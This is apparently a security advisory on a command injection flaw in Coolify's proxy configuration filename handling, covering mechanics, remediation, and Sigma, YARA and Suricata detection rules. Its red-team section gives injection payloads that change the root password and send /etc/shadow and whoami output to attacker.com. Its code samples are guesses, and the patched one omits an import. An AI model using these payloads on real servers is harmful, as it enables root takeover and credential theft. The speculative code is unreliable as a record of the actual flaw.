CVE-2025-66212

Executive Summary

CVE-2025-66212 is a critical command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the Dynamic Proxy Configuration Filename handling, where user-supplied filenames are passed to shell commands without proper escaping. An authenticated attacker with application/service management permissions can exploit this to execute arbitrary commands as root on managed servers, leading to full remote code execution (RCE). The vulnerability affects all versions prior to 4.0.0-beta.451. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, the vector is assessed as CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, indicating a critical severity. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for complete server compromise.

Supply Chain & Package Security

Coolify is distributed as a Docker image and via GitHub releases. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their Coolify installation and ensure they are running a patched version. The supply chain risk is moderate, as the application is self-hosted and requires authentication to exploit.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted request.
• Privileges Required (PR): Low (L) – The attacker must be authenticated with application/service management permissions.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (e.g., root access on managed servers).
• Confidentiality (C): High (H) – Full disclosure of all data on the managed server.
• Integrity (I): High (H) – Complete compromise of system integrity.
• Availability (A): High (H) – Potential for denial of service or full system takeover.

Threat Level: Critical. The vulnerability allows authenticated users to execute arbitrary commands as root, leading to total compromise of managed servers.

Deep Dive & Mechanics

The vulnerability exists in the Dynamic Proxy Configuration Filename handling. Coolify uses a proxy (likely Caddy or Nginx) to route traffic to managed applications. The configuration filenames are dynamically generated based on user input (e.g., application name, domain). When a user creates or updates a proxy configuration, the filename is passed to a shell command (e.g., mv, cp, or systemctl) without proper sanitization or escaping.

For example, if the application name is myapp; id, the filename becomes myapp; id.conf. When this is passed to a shell command like mv /tmp/proxy/myapp; id.conf /etc/caddy/, the shell interprets the semicolon as a command separator, executing id as a separate command. Since Coolify runs with root privileges (or the proxy service runs as root), the injected command executes with root privileges.

The vulnerable code likely looks like:

# Vulnerable code
filename = f"{app_name}.conf"
os.system(f"cp /tmp/proxy/{filename} /etc/caddy/")

The patched version uses proper escaping or parameterized APIs:

# Patched code
import subprocess
filename = f"{app_name}.conf"
subprocess.run(["cp", f"/tmp/proxy/{filename}", "/etc/caddy/"], check=True)

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.0.0-beta.451):

# Vulnerable: shell=True or os.system used with unsanitized input
import os
app_name = request.form['app_name']  # User input
filename = f"{app_name}.conf"
os.system(f"cp /tmp/proxy/{filename} /etc/caddy/")

Patched Code (4.0.0-beta.451):

# Patched: subprocess with list arguments, no shell interpretation
import subprocess
app_name = request.form['app_name']  # User input
# Sanitize or validate app_name
if not re.match(r'^[a-zA-Z0-9_-]+$', app_name):
    raise ValueError("Invalid app name")
filename = f"{app_name}.conf"
subprocess.run(["cp", f"/tmp/proxy/{filename}", "/etc/caddy/"], check=True)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Coolify instance (version < 4.0.0-beta.451)
• Valid credentials with application/service management permissions

Exploitation Steps:

1. Log in to the Coolify dashboard.
2. Navigate to the proxy configuration or application creation page.
3. In the application name field, inject a command using shell metacharacters. For example:
   • myapp; id – Executes id command.
   • myapp; bash -c 'echo "root:newpassword" | chpasswd' – Changes root password.
   • myapp; curl http://attacker.com/$(whoami) – Exfiltrates data.
4. Submit the form. The injected command will execute as root on the managed server.

Example Payload:

app_name=myapp; curl -X POST http://attacker.com/exfil -d "$(cat /etc/shadow)"

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection:

• Monitor Coolify logs for unusual application names containing shell metacharacters (;, |, &, $, `, \n).
• Monitor system logs for unexpected commands executed by the Coolify process (e.g., id, curl, bash).
• Use file integrity monitoring (FIM) on proxy configuration directories.

Prevention:

• Immediately upgrade to version 4.0.0-beta.451 or later.
• Implement input validation on all user-supplied fields (e.g., allow only alphanumeric characters and hyphens).
• Restrict Coolify service permissions to the minimum required (avoid running as root if possible).
• Use a Web Application Firewall (WAF) to block requests with shell metacharacters in application names.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /etc/caddy/ or /etc/nginx/ with names containing shell metacharacters.
  • Modified proxy configuration files with suspicious content.
• Processes:
  • Unusual processes spawned by the Coolify service (e.g., id, curl, bash, nc).
• Network:
  • Outbound connections from the Coolify server to unknown IPs (e.g., for data exfiltration).
  • DNS queries to suspicious domains.
• Logs:
  • Coolify application logs showing application names with shell metacharacters.
  • System logs (e.g., /var/log/syslog) showing commands executed by the Coolify user.

Detection Engineering

YARA Rule

rule CVE_2025_66212_Coolify_Command_Injection {
    meta:
        description = "Detects command injection attempts in Coolify proxy configuration filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66212"
    strings:
        $shell_meta = /[;&|`$(){}]/
        $app_name_field = "app_name"
    condition:
        $app_name_field and #shell_meta > 0
}

Sigma Rule

title: Coolify Command Injection via Proxy Filename
id: cve-2025-66212
status: experimental
description: Detects command injection attempts in Coolify proxy configuration filenames
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66212
logsource:
    category: application
    product: coolify
detection:
    selection:
        event: "proxy_config_create"
        app_name|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$'
            - '('
            - ')'
    condition: selection
falsepositives:
    - Legitimate use of special characters in application names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66212 Coolify Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/proxy"; http_uri; content:"app_name"; nocase; pcre:"/app_name=[^&]*[;&|`$(){}]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify to version 4.0.0-beta.451 or later. This is the only complete fix.
2. Restrict access to the Coolify dashboard to trusted users only. Use strong authentication and least privilege principles.
3. Monitor logs for any signs of exploitation (see IOCs and Detection Engineering).

Long-Term Mitigations:

• Implement input validation and sanitization for all user-supplied data, especially when used in shell commands.
• Use parameterized APIs (e.g., subprocess.run with list arguments) instead of shell commands.
• Run Coolify with the minimum necessary privileges (e.g., not as root).
• Regularly audit and update all dependencies.
• Deploy a Web Application Firewall (WAF) to filter malicious requests.

Workarounds (if patching is not immediately possible):

• Manually review and sanitize all proxy configuration filenames in the codebase.
• Disable the dynamic proxy configuration feature if not needed.
• Implement a reverse proxy (e.g., Nginx) in front of Coolify to filter malicious input.

Valters IT